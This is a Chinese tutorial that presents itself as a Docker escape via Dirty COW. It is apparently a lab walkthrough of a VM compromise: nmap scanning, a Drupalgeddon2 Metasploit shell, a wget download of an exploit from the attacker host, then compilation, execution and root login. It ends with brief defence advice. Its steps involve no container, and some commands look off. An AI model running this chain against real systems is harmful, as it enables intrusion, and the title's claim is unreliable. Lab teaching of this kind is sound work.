Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)教学文档

一、Docker逃逸概述

Docker逃逸是指攻击者从容器内部突破隔离限制，获取宿主机权限的行为。目前Docker逃逸主要分为三种类型：

1. 由内核漏洞引起：如CVE-2016-5195(Dirty COW)
2. 由软件程序漏洞引起：如CVE-2019-5736
3. 由配置不当引起：如特权模式(privileged)逃逸、docker remote api未授权访问等

二、Dirty COW漏洞(CVE-2016-5195)原理

漏洞原理

Linux内核的内存管理子系统在处理写入时复制(Copy-On-Write, COW)机制时存在竞争条件(race condition)，恶意用户可利用此漏洞获取高权限，对只读内存映射进行写访问。

竞争条件是指任务执行顺序异常，可导致应用崩溃或让攻击者执行其他代码。利用此漏洞，攻击者可在目标系统提升权限，甚至获取root权限。

影响版本

该漏洞影响全版本Linux系统(Linux kernel >= 2.6.22)

三、漏洞利用实战

环境准备

• 靶机: 192.168.200.49
• 攻击机(Kali): 192.168.200.14

信息收集阶段

1. 扫描存活主机

   nmap -sP 192.168.200.0/24 -T4
   

   通过MAC地址确认靶机IP

2. 扫描开放端口和服务

   nmap -sV -p- 192.168.200.49
   

   确认开放端口：22(SSH)、80(HTTP)、1898(Web服务)

3. Web应用探测

   • 访问192.168.200.49:1898
   • 确认CMS为Drupal 7

初始入侵

1. 使用Metasploit利用Drupal漏洞

   use exploit/unix/webapp/drupal_drupalgeddon2
   

   获取低权限shell

2. 转换为交互式shell

   exploit/runshell
   

提权准备

1. 查找Dirty COW利用脚本

   searchsploit dirty
   locate linux/local/40847.cpp
   

2. 复制利用脚本

   cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
   

3. 在攻击机启动HTTP服务

   python -m http.server 8899
   

4. 靶机下载并编译利用脚本

   wget http://192.168.200.14:8899/40847.cpp
   g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
   

   编译选项说明：

   • -Wall: 启用所有警告
   • -pedantic: 遵循ANSI/ISO C标准
   • -O2: 优化级别2
   • -std=c++11: 使用C++11标准
   • -pthread: 链接pthread库
   • -o 40847: 输出文件名

5. 执行提权脚本

   ./40847
   

   获取root密码：dirtyCowFun

获取root权限

1. 方法一：直接登录

   su root
   密码：dirtyCowFun
   

2. 方法二：SSH远程登录

   ssh root@192.168.200.49
   密码：dirtyCowFun
   

3. 创建交互式shell

   python -c 'import pty; pty.spawn("/bin/bash")'
   

   交互式shell对于某些需要用户输入的命令至关重要

四、漏洞防御措施

1. 及时更新内核

   yum update kernel
   或
   apt-get update && apt-get upgrade linux-image-generic
   

2. 限制容器能力

   • 避免使用--privileged特权模式
   • 使用--cap-drop=ALL移除所有能力

3. 启用SELinux/AppArmor

   # 检查SELinux状态
   sestatus
   

4. 定期漏洞扫描

   # 使用漏洞扫描工具如lynis
   lynis audit system
   

五、总结

通过本教学文档，我们详细了解了：

1. Dirty COW漏洞的原理和影响范围
2. 完整的信息收集和漏洞利用流程
3. 从低权限到root权限的完整提权过程
4. 有效的防御措施

此漏洞利用展示了内核级漏洞的严重性，强调了及时更新系统和正确配置容器安全的重要性。